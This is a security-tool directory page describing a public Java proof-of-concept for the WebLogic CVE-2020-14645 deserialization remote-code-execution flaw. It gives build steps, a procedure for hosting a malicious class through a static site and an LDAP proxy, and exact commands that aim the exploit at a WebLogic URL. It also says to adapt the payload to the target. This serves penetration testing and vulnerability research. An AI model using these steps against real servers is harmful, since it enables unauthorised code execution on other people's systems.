Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Weblogic_CVE-2020-14645 — Java PoC for WebLogic CVE-2020-14645 Coherence deserialization RCE. Hosts a malicious class via LDAP and triggers remote code execution on vulnerable WebLogic servers. | Kitploit
Tools/GitHubGitHub/jlvsjp/weblogic_cve-2020-14645
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHubjlvsjp/weblogic_cve-2020-14645

Weblogic_CVE-2020-14645

Java PoC for WebLogic CVE-2020-14645 Coherence deserialization RCE. Hosts a malicious class via LDAP and triggers remote code execution on vulnerable WebLogic servers.

View Repository
1686 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Weblogic CVE-2020-14645 coherence Deserialization Vulnerability Verification Program

Environment

  • Maven 3

  • JDK 1.8

Compilation

mvn package

Usage

Specific testing steps:

  1. Write the POC
  2. Compile the POC into a class file
  3. Start a static site to host the compiled POC
  4. Start an LDAP proxy to forward the test target's requests to fetch the POC
  5. Execute the test program

Since this vulnerability is similar to the Apache Dubbo vulnerability, please refer to that vulnerability to implement steps 1-4.

Test Program Execution

java -jar target/CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL

# Example
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp https://127.0.0.1:7002

If the POC provided in this example is used, the target under test will execute calc.exe after a successful exploit. Please modify the POC yourself according to the test target environment.

Acknowledgements

This project references and uses part of the code from the projects @Y4er and @5up3rc. Special thanks!

References

https://github.com/Y4er/CVE-2020-14645

https://github.com/5up3rc/weblogic_cmd

Download Tool